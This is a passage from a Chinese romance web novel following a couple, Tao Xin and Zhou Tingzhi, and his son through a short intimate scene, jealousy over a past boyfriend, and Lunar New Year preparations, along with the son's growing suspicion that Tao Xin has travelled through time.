“去吃吧,一会该凉了。”注意到陶欣又光着脚,他说:“拖鞋穿上。” 看出周廷之还在为她没吃午饭就泡在书房的事不高兴,陶欣像个小孩似的耍赖:“周念出去找同学玩了,你背我下去吧,背我背我。” 周廷之面无表情,语气也很冷淡:“你骑我脖子上好不好?” 哼,她不就是没吃饭吗,又不是犯了天条。陶欣心里这样一想,嘴巴飞快地接了一句:“我骑你脸上好不好?” 周廷之本来都准备把陶欣背起来了,听她这么说,又转过身。 人家辛辛苦苦把午饭准备好,她放着不吃,到底理亏,陶欣吐一下舌头,低头去找拖鞋。 就在她回身穿鞋的那一瞬间,周廷之抵住她的腰,一把将她按在了书桌上。 “欸……”陶欣手撑着书桌,下意识轻呼一声。 周念放假在家,她穿着相对保守,过膝的棉质睡裙,上面有很多蜡笔小新的图案。 周廷之手探进去,甚至有几分罪恶感。 陶欣也觉得这样子有点羞耻,脸上迅速泛起潮红,忍不住挣扎了两下,嘴上还在撒娇求饶:“别弄了哥哥,我真饿了,馄饨……” 她忽然止住声,想到周廷之手指上因为常年写字留下的硬茧,在中指左侧,第一个骨节的位置上。 好粥道先生这样做,说明上楼前一定仔细洗过手了。 可是……陶欣用余光看向周廷之,他刚从外边回来,衣着正式,考究,一丝不苟。 她却穿成这样子,被压在书桌上。陶欣收回视线,轻轻咬住下唇,不肯发出一点声音。 只是她的身体被弄出很大声音,在安静的书房里格外刺耳。 陶欣脸彻底红了,皮肤透粉,腿有点发抖。 周廷之把她抱起来,放到书桌上,湿漉漉的手抵住她的腘窝,注意到她紧抿着唇,微蹙的眉头,不由笑了笑:“干嘛这副表情,你不是很喜欢,水都流到地毯上了。” “……你欺负我。”隔着夹克和衬衫,陶欣拧他的手臂。 “你欺负我的时候怎么不说,太霸道了吧。”周廷之捏她的脚心,报复回去:“在我办公室拍的那些照片,你都忘了。” “那怎么一样。” “怎么不一样?” “反正你就是不许只用手弄我!” 周廷之难得“爹味”一回,想给不按时吃饭的陶欣一个教训,陶欣这样排斥,抵触,本该正和他心意,可见陶欣真的发了脾气,周廷之的“爹味”瞬间消失的无影无踪,俯下身竭力取悦她。 惩罚莫名其妙变奖励,喷的陶欣都有些口渴。 楼下餐桌上的馄饨已经彻底凉透了,放久的馄饨没法再吃,就像周廷之出门前煮的面,早就坨成一团了。 陶欣喝了一大杯白开水,扭头看向厨房里给她炒饭的周廷之,感觉男朋友浑身上下都散发着一股幽怨可怜的气息。 也许没有,是她自己心虚,脑补出来的。 陶欣凑过去,声调比平时更软了几分:“我最喜欢吃蛋炒饭了,尤其是加了杏鲍菇和牛肉粒的蛋炒饭。” 周廷之不看她。 他害怕陶欣发脾气是一回事,陶欣冲他发脾气又是另一回事,不能混为一谈。 陶欣也知道是自己有错在先,霸道在后,很干脆的滑跪了。 “好嘛,我知道是我不对,我真不是故意不吃的,就是刚起床还不太饿,想剪一段再下楼吃饭,然后,就不小心忘记了,再然后……你就进来了。” “是你昨天晚上说想吃我煮的紫菜鸡蛋面。” “是……” “我煮没煮?” “煮了……在哪呢,我现在吃,保证吃的干干净净。” “在垃圾桶里。” 炒饭好了,周廷之关了火,仔仔细细盛到碗里:“先把炒饭吃了,吃饱了有力气了再去翻垃圾桶。” 周廷之说这些话的时候始终没看她,怕一看她就心软了。 正如周廷之所料,陶欣是在装可怜,捧着一碗炒饭也不吃,眼巴巴的,身前身后的跟着周廷之。 周廷之锅刷到一半,到底先服输:“去吃吧,一会饭也凉了。” “你说你不生气了我就去吃,要不然我吃不下……” 陶欣技高一筹。 周廷之明知道这是她的手段,却还是不由自主的反省。是啊,干什么非要在吃饭的时候算这笔账,本来煮一碗面也没多麻烦。 “……我不生气了。” “真的吗哥哥,真不生气了吗?” “嗯,真不生气了。” 周廷之尽可能语气温和:“快去吃吧祖宗。” 陶欣笑了,说:“晚上换我给你做饭,你就坐在那等着吃,我做好一道菜就端到你面前,你尝一口,觉得好吃,还不错,就留在桌上,觉得不好吃,不合胃口,马上倒进垃圾桶,这样行不行?” 听起来还真挺爽的。 “行,那晚上就你做,最起码准备八个菜。” “没问题!” 陶欣答应的非常爽快,答应完就端着碗去餐厅吃饭了。 周廷之微怔,他以为陶欣在看玩笑,可看陶欣这反应,又好像是真的要给他准备八个菜。 周廷之跟出去,站在厨房门口问:“你会做饭?” “炒几个小菜能有什么难的,我会煎鸡蛋,还会煎鸡蛋卷,还有那个厚蛋烧,红薯饼。” “听起来都是早餐。” “对呀,我高三的时候……” 陶欣眨了下眼睛,重复了一遍前半句 话:“我高三的时候,我爸妈工作忙,我就偶尔自己做早餐吃。” 陶欣在说谎。 周廷之已经不是当初那个她说是初吻,他就完全相信的单纯少年了。陶欣说谎,他一眼就能看出来。 高三的时候,不是因为爸妈工作忙,偶尔给自己做早餐,才学会了做早餐。 “你给李崇做爱心早餐。” “……我哪有啊!” “哼。” “你还说我和周念,你怎么也哼哼呀。” 周廷之可以理解陶欣和周念为什么总哼哼了,各种情绪交织在一起的时候,似乎只有哼这么一下心里才能稍微舒服点。 第59章 第59章陶欣推门进玄关,…… 周廷之一直强迫自己不去想陶欣曾经和李崇谈过一段恋爱的事。 懵懵懂懂的年纪,对异性好奇,谈一段浅尝辄止的恋爱,这再正常不过。如果放在他二十岁的时候,得知这件事,或许应当嫉妒,纠缠不休。 可他三十八岁,再为了女朋友年少无知时一段无疾而终的初恋而耿耿于怀,未免会显得太过于小气。 难道他会因为女朋友给初恋做过爱心早餐,没给他煮过一次方便面这种事,就要女朋友给他做八道菜来补偿吗? 倘若没有这种事,女朋友要为他进厨房,洗手作羹汤,他或许可以当做恋爱中的小情/趣,欣然接受。 可是眼下这种情况,周廷之绝对不会让陶欣在这方面对他有一丁点的弥补。 “你怎么不去剪视频?身前身后跟着我干什么?” “视频什么时候不能剪呀,哥哥好不容易放几天年假,我就想陪着你。” 周廷之脱掉衬衫,陶欣立刻接了过去,非常殷勤的折一折,放到要送去干洗的脏衣篓里,然后一脸乖巧的看着他。 周廷之强迫自己不去想那些过去的“陈年旧事”,可只要和陶欣对视上,思绪就不受控制, 连一次方便面都没给他煮过,给李崇做爱心早餐。 厚蛋烧……是去日本滑雪的时候学日本女孩做的爱心便当吗,是不是挤番茄酱还要挤出一个小桃心外加上loveyou啊。 周廷之关上衣柜的门,胸口缓慢起伏。 陶欣都听到他深吸一口气的声音了,真是懊悔的不得了。 哎,要怨就只能怨自己,怨这张嘴,一见把他哄好了就得意忘形,得意起来什么都说。 其实她也就给李崇做了那一次早餐呀……也不是因为李崇才做的……上学那会流行嘛,给男朋友织围巾编手链,就是赶时髦而已……再说,是李崇先给她折了五百二十只千纸鹤,她为了礼尚往来才做的早餐…… 陶欣很想解释,可心里隐隐约约也有预感,这种话说出来大概率是火上浇油,倒不如不说。 周廷之余光瞥见陶欣。 她在苦恼,嘴巴紧抿着,两腮微鼓,白嫩嫩,肉嘟嘟,像港式早茶的小猪奶黄包。 哼。 周廷之转身出了衣帽间,陶欣还和黏人小狗一样跟着他。 “你干嘛去?” “口渴,泡茶喝。” “我幫你!” 周廷之握住她的手臂,轻轻将她拉回来:“你不要给我献殷勤,显得我像是乱吃飞醋,过去的事,我不会斤斤计较的。” 陶欣想拽周廷之回衣帽间照照镜子,他脸上阴雨绵绵的。 “我就是想幫你泡茶……” “我就要自己泡。” 周廷之像是下定了决心,什么都不要她做,她抢着把茶水从茶壶里倒出来,周廷之竟然掀开茶壶盖子,又把杯里的茶水倒回去,自己一本正经的重倒了一遍。 陶欣差点被他这样幼稚的举动逗笑。 忍着笑,装可怜,凑过去幫他捏肩:“哥哥这两天做饭辛苦了。” 周廷之侧身避开:“不辛苦。” 他那表情,好像后面还有“命苦”两个字没说出来。 哎。 陶欣在心里沉重的叹了口气,也觉得自己命很苦,没办法,谁让人家周廷之和她谈恋爱的时候还是那么冰清玉洁的一个纯情少男呢,人家闹小脾气也闹得理直气壮啊。 更何况……陶欣回忆了一下,发现自己和周廷之谈恋爱以来,连在外邊吃饭用的一次性筷子,都是周廷之替她掰开,搓掉上面的毛刺再拿给她用……她别说被周廷之做什么爱心早餐了,真是茶都没泡过一次。 不怪周廷之生气,要是换做她,这会八成已经气炸了。 既然如此,就只能使出必杀技。 陶欣坐直身,给自己倒了杯茶,端起来轻轻吹着,姿态端庄秀丽,已然不是刚才那副奴颜婢膝的模样了。 周廷之侧目。 “对了,我有件事忘了跟你说。” “什么事?” 陶欣嗅到丝丝茶香,抿了一口,稍有些涩,并不是什么好茶。 周廷之的好茶叶,基本上都送到了陶书华家里。 陶欣偏过头,笑着说:“明天中午我在大哥家吃完午饭就回来。” 周廷之一怔。 前天去陶书华家送年货的时候,已经商议定了年三十的安排,陶欣一早过去,陪大哥大嫂过年,守岁,初一早上再回来。周廷之是没意见的。一来,团圆的日子,本就该血脉相连的家人在一起,二来,自父母相继離世后,周廷之和那些不远不近的亲戚就没什么聯系了,只有他和周念,都不注重所谓的仪式感,最多是在酒楼定一桌年夜饭。过年对他而言和平常一样,并不是什么特殊的日子。 可现在陶欣说,吃完午饭就回来。 周廷之脑海中一瞬间闪过许多节日氛围浓厚的画面。 看春晚,包饺子,放烟花。 “怎么都不吭声?我陪你过年好不好呀?” “……大哥会不会有什么意见?” “不会啦,是大嫂说的,他们俩睡得早,晚上剩我一个人也没什么意思,还不如早些回来。” 周廷之笑了,再也不是刚才那副纯情少男沦落风尘宁死不从保卫贞洁铁面无私的嘴脸。 男人啊,还是很好哄的。 陶欣得意。 …… 翌日,大年三十。 陶欣非常难得的起了一个大早,六点半就在浴室里洗漱了。 周廷之比她起得更早,准备换衣服下楼去贴对聯。 陶欣嘴里含着牙膏,“唔唔”地叫住他。 周廷之停下脚步:“一起?” 陶欣点点头,飞快地漱了口:“等我一下,我很快就好。” 陶欣说很快是骗人的,她绾了头发,化了妆,换了一套新中式的毛呢套裙,又从自己的小保险柜里拿出生日那天周廷之送给她的那套翡翠,只戴耳环、戒指、发簪、一串绿意极浓、种水极好的小米珠项链。 周廷之见她打扮的这么仔细,自动自觉去柜子里取了相機。 陶欣从衣帽间出来,看周廷之拿相機在等,黏过去用很嗲气的粤语说:“你好贴心哦哥哥,你怎么知道我想拍照。” “这点眼力价没有,拿什么做你男朋友。”周廷之把相機参数调整好,镜头对准陶欣。 陶欣抿唇微笑:“我怎么样?” “很漂亮,大姑娘了。” “嗳,什么呀,这语气像是我小时候你抱过我一样。” 陶欣嗔他一眼,周廷之很果断地按下了快门。 对聯是买年货那天在超市买的,还有福字,窗花,灯笼,一些喜气洋洋的春节挂件。 入戶门那副对聯展开后比想象中更大,陶欣手举到最高,垫着脚,对联另一邊还拖着地呢。 “我来贴吧。”周廷之从她手里接过对联,踩到凳子上面。 陶欣在下邊帮忙按着对联,递胶带。 两邊都贴好了,一抬头,这会才注意到对联上的字——吉祥门第永聚财,兴隆家宅长纳福。 陶欣忍不住笑:“你选的啊周廷之,这也太土了,你看我们对面那家,钱包胖胖,身体棒棒,横批,福气旺旺,多可爱啊。” 周廷之按紧对联底下的双面胶,确保不会风一吹就掉,才从凳子上下来:“横批你上去贴,我帮你拍照。” “横批在哪呢?” “箱子里。” 陶欣推门进玄关,一眼就看到了静静躺在箱子里的横批——欣欣向荣。 从她出生起,每年过年家里的横批都是这四个字,这会看到,让陶欣有种奇怪的感觉,说不上是意料之外还是意料之中。 不过横批一般都藏在对联里面,周廷之一定是早就想到了,去超市买对联的时候特意找的。 好粥道先生果然是很有心呀。 陶欣拿了横批出去,看着周廷之笑。 周廷之也笑,却说她:“傻笑什么呢,快贴完好进去, 穿这么少,也不嫌冷。” “我不冷呀。”陶欣难得没有很多话,看上去羞涩文静。 周廷之又将镜头对准她,拍下她在大门上贴“欣欣向荣”的一幕。多年未更换的入戶门,款式老旧,超市买的对联横批,也并不高级,可在周廷之拍摄的照片里,都被陶欣衬托的贵不可言。 周廷之第一时间将照片导入到手機,发了朋友圈,仅李崇可见。 周念起床的时候,陶欣正在客厅贴福字,看到周念忙说:“快过来帮我拿一下胶带。” 周念打着呵欠走过去,撕一块胶带递给她:“我爸呢?” 陶欣把福字粘好,不解地问:“你怎么回事,一见到我就问你爸?” 周念从箱子里拿出两张门神图:“你们俩不是天天焦不離孟,孟不离焦。” “欸,这俩原来在这呢,你去贴大门上。” “所以我爸呢。” “他去贴車了。” “天啊,还有这么多,到底买多少?” “快去啊——” 陶欣喜欢过春节的时候把家里布置的很有节日气氛,一不小心就买很多,好在人多力量大,三个人这里弄一下那里弄一下,只用半个小时就搞定了。 周念被陶欣支使着往窗户顶上挂彩灯,胳膊举了大半天,一下来就累瘫在沙发上:“完事了吧。” “还有最后一样。”陶欣从柜子里翻出一个某珠宝品牌的小袋子,从里面取出两条挂着金镶玉长命锁的盘缠手链:“看,给剩剩美美买的,长命锁。” 两只小猫在餐厅玩,被周廷之一手一只拎起来,逮到客厅。 陶剩剩和周美美最近在狂吃周廷之的自制猫饭,身体胖了些,脸圆了些,看着倒是没有小时候那么大奸大恶了,戴上金链子和金锁,很有小人得志的暴发户气质。 周念不由自主地“咦”了一声。 自己一把屎一把尿养大的到底不一样,陶欣怎么看它俩都不觉得丑,并且越看越可爱,捧起来就是一顿猛亲。 “咦——我真受不了了——” “嘻嘻,你懂什么呀。” 陶欣抱着周美美,看陶剩剩爬上了周廷之的大腿,忽然动心说:“欸,我们一起拍张照吧,周念你快上去换新衣服。” “拍什么照啊,你怎么想一出是一出……”周念嘟嘟囔囔的上楼了,过好一会才下来。他穿的西装,衬衫长裤,同样都是纯手工定制,却和周廷之完全是两种感觉,高挑身量,细腰长腿,看上去精致又俊俏,很像个书香门第的贵公子。 一看周念为了拍照破天荒的打扮了一下,陶欣赶紧捧场:“哇,好帅啊。” 周念非常臭屁的扯了扯领带:“搞笑呢,我什么时候不帅了。” 周廷之笑笑,用三脚架把相机架好,对准客厅的沙发:“这个角度行吗?” 陶欣凑过去看了看,满意地点点头:“可以,你坐中间,抱着两只小猫。” 相机的自拍定时器只有十秒钟,陶欣戴着首饰,她估摸着自己按了快门再过去坐下大概会很凌乱,便朝周念招招手:“你来。” “怎么又是我啊。” “谁让你这么帅啊,随便一拍都好看,根本就不用提前摆poss。” 周念嘴角微翘,起身站到相机前。 而陶欣则不紧不慢地坐到周廷之身旁,很小声地说:“都不用等他老,我觉得现在就能卖他保健品。” 周廷之:“人家今天很配合你了。” 陶欣:“我知道,所以我这不是偷偷讲他吗。” 周念:“准备好没有,我要拍了。” 陶欣:“好啦好啦。” 拍完照,三个人简单吃了点早餐,是周廷之蒸的糯米烧麦,榨的豆浆,还有陶欣求着他煎的一盘鸡蛋。 一盘鸡蛋,都是外边酥脆里面没熟的糖心鸡蛋。 周念眼看着黄黄的液体淌出来,呲牙咧嘴地说:“幸好家里买的都是无菌蛋,要不然根本没法吃。”陶欣说:“大过年的别逼我扇你。” 吃饱喝足才早上八点多,不知道谁家在放鞭炮,噼噼啪啪好一阵,起码两千响,吵得厉害。 陶欣疑惑:“物业不是说禁止放鞭炮吗?” 周廷之说:“有的地方好像吃饭前必须放鞭炮,宁愿交罚款。” 陶欣笑了笑:“我都是等看完小品再出去放烟花。” 周念闻言大惊:“什么小品?春晚小品?你还看春晚小品啊?” 陶欣想起来想在网上都说春晚难看,反应很快:“那怎么了,这是一种情怀,以前都不都是看完赵本山的小品再放烟花吗?” “那你这……” “大过年的别逼我……” 大过年的,周念也进行了一下自我管理,憋了半天终于憋出一句:“那你还真是挺有情怀。” 周廷之在一旁看刚刚拍的全家福,照旧导入手机,发朋友圈,仍然仅李崇可见。 他知道李崇没有拉黑他,就一定会隔三差五视奸他,也很乐意隔三差五刺激一下李崇。 至于这些单独发布的,仅李崇可见的照片,等晚上他攒够了九宫格会统一再发一条。 周廷之现在完全能理解为什么朋友圈里总有人发一大堆图片秀幸福了,每次发朋友圈收到大一堆点赞祝福的感觉确实很好。 也就是左一条右一条的刷屏实在太高调,要不然他都不设置仅李崇可见。 “快九点了。”陶欣拿起手机说:“我先去大哥那边了。” 周廷之跟着站起身:“我送你过去。” “我又不是不认路。”毕竟是过年,单独扔周念一个人在家不太好。 “那慢点开車,注意安全。” “知道啦,你们去吃饭记得给我打包一份清蒸东星斑回来,哦,要生打包,我们家十二点前要吃红鱼的。” “嗯。” 周廷之送她出门:“今天好像会下雪,你吃完饭回来,要不好开車就给我打电话,我去接你。” “知道啦——你怎么老是不相信我的驾驶技术呢,我可是秋名山车神你晓得吧。”陶欣坐到车里,降下车窗,朝他摆摆手,也朝站在门口的周念摆摆手:“走啦,下午见,撒由那拉。” 车窗升起,白色巴博斯很快消失在两个人的视野中。 周廷之转过身,黑色入户门外贴着喜庆的对联,焦不离孟孟不离焦的一对门神,上方挂着两个大红灯笼,新年气氛依旧。 可家里莫名冷清起来,如过去几年一样。 周念不自在地轻咳一声:“我们几点去吃饭?” 周廷之说:“我订的十一点半,十一点出发。” “哦……” “进去吧,外边冷。” 周念进到客厅,吃了两颗草莓,因为不知道该跟周廷之说什么,没一会就拿出手机刷朋友圈。 李乐泉发了全家福,一大家子,男男女女,老老少少,得有五十多号人,站位跟学校拍集体照似的。 周念点了个赞。 李乐泉大概也在那边看手机,周念刚点赞他就发了条消息过来。 【李乐泉:过年好啊[呲牙]】 【周念:过年好!】 【李乐泉:我跟你说,我今天趁着家里这些亲戚催我小叔早点结婚生孩子的时候试探了他一下】 【周念:?】 【李乐泉:我感觉陶欣应该不是他女儿,单纯撞脸了哈哈哈哈】 【周念:本来就不可能是,她中午还去她大哥家吃年夜饭呢,如果没血缘关系,怎么可能在一块过年】 【李乐泉:这不是因为长得太像了吗,我真觉得一模 一样】 周念点看聊天记录,又找到李乐泉那天发来的老照片。 长相,神情…… 周念关掉手机,深吸了口气。 李乐泉和陶欣接触有限,单单对比照片,难以分辨,可他这段时间和陶欣同住一个屋檐下,对陶欣也算有一定了解。 那张照片,他不管怎么看,和陶欣都是同一个人。 隔着一个时代,不可能是双胞胎,世界上真的会有两个人相似到这种难以分辨的地步吗? 周念脑子里一瞬间闪过很多杂乱的思绪,比如周廷之为什么毫无预兆的把陶欣带回家,陶欣又为什么从来不提自己的父母和过去,还有那些和“小品”一样突然冒出来的怪异的不寻常。 周念心头涌动着一个大胆的无稽的猜测。 他望向正在整理厨房的周廷之,很想把手机里的旧照片拿给周廷之看,观察周廷之的反应。 可是…… 客厅的两部手机同时响起消息提示音,一声,两声,都是同时。 周念解锁屏幕,果然是陶欣在群里发消息。 【陶欣:过年路上根本没人,一路畅通,超快就到了,才用二十分钟。】 【陶欣:[导航图片]】 他还没回复,周廷之已经擦了手走过来。 【周廷之:开的太快了】 【陶欣:啊啊啊啊啊我刚下车就下雪啦】 两人同时向窗外看去,这边应该下了又一会,庭院里雪积了薄薄一层。周廷之走到窗边拍照,发到群里。 【周廷之:[图片]】 【周廷之:今天雪还不小,我跟周念吃完饭顺道去接你,正好和大哥大嫂拜个年】 【陶欣:好哦】 【陶欣:[旋转跳跃我闭着眼jpg.]】 【周念;[迷惑jpg.]】 群里安静了,家里更安静,只有陶剩剩和周美美在客厅里跑来跑去。 十一点,两个人准时出发去酒楼吃饭。近几年过年到外边吃饭的越来越多了,酒楼里人声鼎沸,热闹非凡,比家里更有过年的氛围。 周廷之和去年一样,预定了二楼是最左侧的包厢,十道菜也是和去年一样,连服务员端最后一道大菜上桌时说的吉祥话都和去年一样。 不过今年,两个人在动筷之前先拍了照片。 【周廷之;[图片]】 【周廷之:我们也开饭了】 【周念;[图片]】 【周念;谁还没有几道硬菜啊[拽jpg.]】 陶欣大概在和她大哥大嫂一起吃饭,不方便看手机,只用她最近经常用的表情包回复了一下。 “吃饭吧。”周廷之拿起筷子,还没等夹菜,手机就响了。 周念知道肯定是家里那些亲戚给他打电话拜年,一年到头就这天有理由联络感情。 周廷之接起电话,很客气:“姑姑,过年好,是,刚准备吃饭,最近工作忙,等有时间一定去看您,也帮我和姑父带个好。” 周念吃着油焖虾,看着周廷之挂断一个电话又接起一个电话。 他家亲戚其实挺多的,也不全是远亲,他爷爷有三个兄弟姐妹,他叫大爷爷三爷爷还有小姑奶,下边还有好多叔叔婶婶堂兄堂妹,包括奶奶那边的亲戚,姨奶舅爷也有一大堆。 周念小时候,这些亲戚逢年过节都会聚到家里来,一度给他留下很恐怖的记忆。 可周念不知道从什么时候开始,家里和这些亲戚的联系就渐渐少了,他这边更是一个亲戚的联系方式都没有。 干净的像是不想让他和那些亲戚产生联系,不想让他从那些亲戚口中得知某些秘密。 周念低下头,总觉得有很多事情在心里酝酿的越来越清楚。 第60章 第60章比陶欣是李崇女儿更离奇…… 午饭后周廷之开車帶着周念来到陶书华家楼下。 群里没动静,周廷之也没催促,車停在那辆巴博斯后面。 周念今天起太早,刚吃饱饭,打着呵欠,靠在副驾驶座椅上有点昏昏欲睡。 周廷之看向他,伸手理了理他打着温莎結的红金色系条纹领帶:“你这身衣服不是新定的?我怎么看着这么眼熟?” 周廷之突如其来的关心让周念不由一怔,随即才慢吞吞地说:“霍格沃兹,格兰芬多。” 他这么一说周廷之才注意到他没有穿正装外套,只穿着一件英伦风的藏蓝色针织马甲,衬衫袖口也是红金配色,看上去还真有几分霍格沃兹的味道。 周廷之笑笑:“怪不得,挺好看的。” 周念感觉出来周廷之是有话要说,在这里拿衣服做铺垫。事实上他们倆一直是这样的相处模式,有什么事都尽可能在微信上沟通,很少面对面的单独交流,免得双方都不自在。 “还行吧……”周念在心里猜测着周廷之要和他说什么。 其实不用猜应該也知道大概率和陶欣有关。对于陶欣,周念虽然还有很多想不明白的地方,但已经不像之前那样抵触了。他又不傻,这么长时间相处下来,到底是谁小意讨好,处处迎合,使尽浑身解数……周念还是能看出来的。 别说他和陶欣关系还可以,就是关系恶劣,相互敌视,周廷之好不容易遇到喜欢的人,这么用心经营,他做儿子的也不会去拖后腿、搞破坏。 又铺垫了几句,周廷之才开口说:“待会你也跟我上楼去打个招呼,拜个年。” “啊……” “早晚要认识的,家里人少,以后逢年过节聚在一起,还热闹些。” 周廷之已经在计划以后过年的安排,换句话说,他已经打定主意要和陶欣結婚。 这也在周念的预料之中,没太惊讶:“拜年倒是可以……我管她大哥大嫂叫什么啊?” “按理应該叫伯父伯母。”周廷之顿了一下说:“你叫伯伯大娘可能更親切些。” 周廷之口中的伯伯,并不是二声的bobo,而是一声的baibai,和大娘一样,是本地小孩子称呼伯父的叫法。 伯伯大娘,听上去确实比伯父伯母更親切,也更親近。 可是…… 周念面露难色。 周廷之知道他不好叫出口,予以利诱:“好好表现,暑假帶你去大溪地玩,你不是还想和陶欣学冲浪。” 大溪地,冲浪。 周念微微坐直身。 大约二十分钟后,陶欣在群里发消息:【你们到哪啦?】 周廷之回复:【在楼下呢】 陶欣回复了一个欧克克,紧接着又说:【那我现在穿衣服下楼】 周廷之几乎和她同时在群里发了消息:【先别下来,我都到楼下了,也该带小念上去给大哥大嫂拜个年】 陶欣过了一小会回复:【好,你们上来叭】 “走吧。”周廷之推开車门,到后备箱取了一瓶酒。虽然年货早就买足了,但他每次来陶书华家都习惯的不空手。 周念跟在他身后上了楼。 其实来送年货那天陶欣就向陶书华提议过,年三十除夕夜两家人一起过,在酒楼吃饭不仅热闹,还省了大嫂辛苦,可陶书华夫妻倆都觉得陶欣和周廷之没到谈婚论嫁的份上,两家人那么正式的坐下来吃团圆饭有些奇怪,坚持不肯。 不过不肯正式见面是一回事,周廷之带着周念到了楼下,登门拜年又是另一回事。 门一推开,双方都很热情。 “伯伯,大娘,过年好,祝你们身体健康!万事如意!” “你就是小念吧,这孩子长得真漂亮,来,伯伯大娘给你准备的压岁钱,祝你新的一年学业有成,平平安安。” 周念是先看了一眼周廷之,见周廷之点头才接过红包,声音甜甜地道谢:“谢谢伯伯大娘。” 周念长得好,干净清爽的黑色短发,内敛低调的学院风西装,笑起来一抿嘴,唇红齿白,非常乖巧,看着就不是那种性格张狂的孩子,从来都很讨长辈欢心,这一装乖卖巧,更不得了,陶书华夫妻倆看他的眼神都添了几分货真价实的慈愛,倒是比对待周廷之的态度更热络一些。 简单拜过年后,三人道别離开,外边还下着雪,温度尤其低,周廷之坚持不让大嫂下楼送,陶欣的車也扔在了楼下。 回家的路上,雪越下越大,周廷之出于安全考虑,车开得特别慢,陶欣也不敢催他,连了蓝牙用自己的手机放音乐。 她的歌单很杂,风格偏复古。 周念坐在后面听着,凡是她跟着哼唱出来都上网搜一搜,绝大多数歌曲都出自九十年代,千禧年后的只有一首,是我的野蛮女友的主题曲IBelive。 周念说:“真没看出来,你还会韩语。” 陶欣说:“会个毛线,就这两句,听得多了都成肌肉记忆了。” 2001年流行的韩语歌曲,那时候陶欣应该才一周岁。 周念抿了下唇,心头又冒出那种怪异的感觉。 一首歌没放完,陶欣的手机响了,是视频通话,她关掉蓝牙,直接接了起来。 周念飞快掃了一眼,屏幕里是一个三十多岁的女人,黑色大卷发,浓妆,性感妩媚的类型:“过年好呀宝贝。” “过年好~” “你在车里呀?去哪了?” “刚在我大哥家吃完饭,往回走呢。”陶欣手机前置摄像头挪到右侧,把正在开车的周廷之也带进去。 “呀,这不是周总嗎,过年好。” 周廷之朝她笑一笑,说了声过年好,又望向前方。 屏幕里的女人笑起来,怪怪的,透着点调侃的坏劲:“好久不见周总看着又帅了啊。” 陶欣把手机挪回去,有点转移话题的意思:“你在家呢?” “是呀,陪老爹,陪亲戚,刚喝完酒,他们在打麻将,无聊死了,想着看看你在干嘛。” “没找男朋友玩?” “他呀,别提了,非要初一到家里来,我说太急了吧,我们又不是要谈婚论嫁,必须要在这时候见家长,他一听就不高兴了,说我和他随便玩玩,没想过結婚的事,大哥,有没有搞错,我才離婚多久啊。” “我就知道你找我肯定是有情况。不过人家不高兴也正常啊,你们俩相处的这么好,天天如胶似漆的,到这个阶段,他肯定考虑结婚嘛,又赶上过年,想去你家拜访一下非常合理。” 陶欣说的这些道理,姚雪娜都明白,她就是心里烦,想和陶欣抱怨两句:“我知道,我只是觉得太急了,不至于说我是和他随便玩玩吧。” “姚老师——气话当不得真,兔子急了还咬人呢。” “好啊你,什么时候被收买了,只向着他说话。” 陶欣一副被冤枉了的样子:“我怎么会被收买,这不是过年嘛,过年吵架一年都吵架,你想一年都吵架嗎?” “怎么,那我要去赔礼道歉啊?” “轮得到你嗎,我估计小郑这会也抓耳挠腮呢。” 姚雪娜想象出男朋友抓耳挠腮的场景,忍不住笑,又说:“得了,我去给他个台阶下,你跟周总好好过年吧,把以前十八个年都补上。” 周廷之偏过头,看了陶欣一眼。 陶欣很快反应过来,笑了两声说:“如果要补新年礼物,那我还是按二十一岁算。” 到底是多年的好朋友,默契摆在那里,姚雪娜立刻意识到旁边有其他人,跟着笑一笑:“弄不明白你,这时候又不是永远十八了?好好好,那就把以前二十一个年都补上。” 话圆回来,姚雪娜才挂断了视频,没放在心上。姚雪娜不相信有人会因为她随口一句话脑补出陶欣掉进时空裂隙穿越十八年的这种剧情。 陶欣自然也没当回事,她敢当着周念的面和姚雪娜视频通话,就是因为姚雪娜一直都很遵守管理局的保密守则,哪怕是私下里跟她闲聊天,也很少提及她穿越十八年的秘密。 只不过大家都是普通人,又不是受过专门训练的特工,难免无意间说错一句话,谁又能凭着那微不足道的一句话就产生離奇的猜想? 周念。 比陶欣是李崇女儿更离奇的猜想,却能刚刚好解开周念心头所有的疑惑。 但这未免有些,太离奇了。 周念回忆着刚刚周廷之和陶欣的反应,又默默地点开和李乐泉的聊天记录,仔细看那张照片。 陶欣拍照的时候很喜欢微微抬起下巴,眼睛哪怕直视镜头也是隐隐向下看的。周念给她拍过好几次照片,每一次她都会做出这个神情,略显傲慢。 陶欣大概也清楚这一点,每次发朋友圈的照片都精挑细选,大部分都是灿烂的。 周念又想到陶欣的大哥陶书华,比周廷之还大那么多的大哥。如果说是近亲,为什么回国这么久才联系上,年龄相差也太多,如果说是远亲,陶欣还去他家过年,周廷之对陶书华夫妻的态度也过份恭敬,像是对待陶欣的亲大哥。 周念梳理思绪的功夫,车开到了家。周廷之在自家大门直接装了小区大门那套设备,摄像头一掃到车牌,大门就自动开了,而里面的入户门是指纹解锁,陶欣拇指贴在门把手上,滴的一声响。 “啊冷死了冷死了。”陶欣穿的少,紧着进门。 周念拎着生打包的东星斑,跟在她后面,也有点打寒颤。 周廷之走在最后,关上门,想到山下那套公馆,一楼就有停车库,可以直接把车停到家里,换房子的念头更强烈了。 “周廷之!你俩走的时候没把猫关楼上去呀,翻垃圾桶啦!弄一地都是。” “……周念。” “啊,哦对,你叫我关起来,我忘了。” “你去收拾。” 所幸垃圾桶里只有点果皮和坚果壳,也没弄到地毯上,掃一掃就干净了。周念扫的时候两只猫还扑过来捣乱,被他用扫帚推开,推开了又扑过来,扑过来又推开,两只猫玩上瘾了似的,扒着扫帚不撒手,周念气的把它俩从一楼走廊这头推到那头。 陶欣在厨房烧水泡茶,看到他这么搞忙说:“哎呀!你慢点!小猫肚皮都磨出火星子了!” “它们俩非要玩!你看你看——”周念拎着扫帚往回走,两只小猫追着他直往扫帚上扑。 陶欣见状忍不住笑起来,拿出手机说:“你再弄一下,我录个视频。” 周念便把扫帚拿到走廊尽头,对着两只小猫说:“来,上车。” 两个小家伙很配合的追过去,一屁股趴在扫帚前面。 “车子”启动了,推着它们在地板上滑行,两只小猫一副享受的样子,等周念停下带着扫帚走回去,陶剩剩和周美美就像两个小朋友玩完一次云霄飞车,意犹未尽,又蹦蹦跳跳的去重新排队。 陶欣笑得不行,怎么看它们俩都是巨可愛,转手就把这条视频发了抖音。 陶欣不知道为什么,明明是随手录制的视频,却比她精心剪辑的vlog更有热度,短短半个小时点赞就破千了,评论也有一大堆。不过比起视频本身的萌点和笑点,绝大多数抖音用户更多关注豪宅的超长走廊还有两只小猫脖子上戴着金盘缠和金镶玉长命锁。 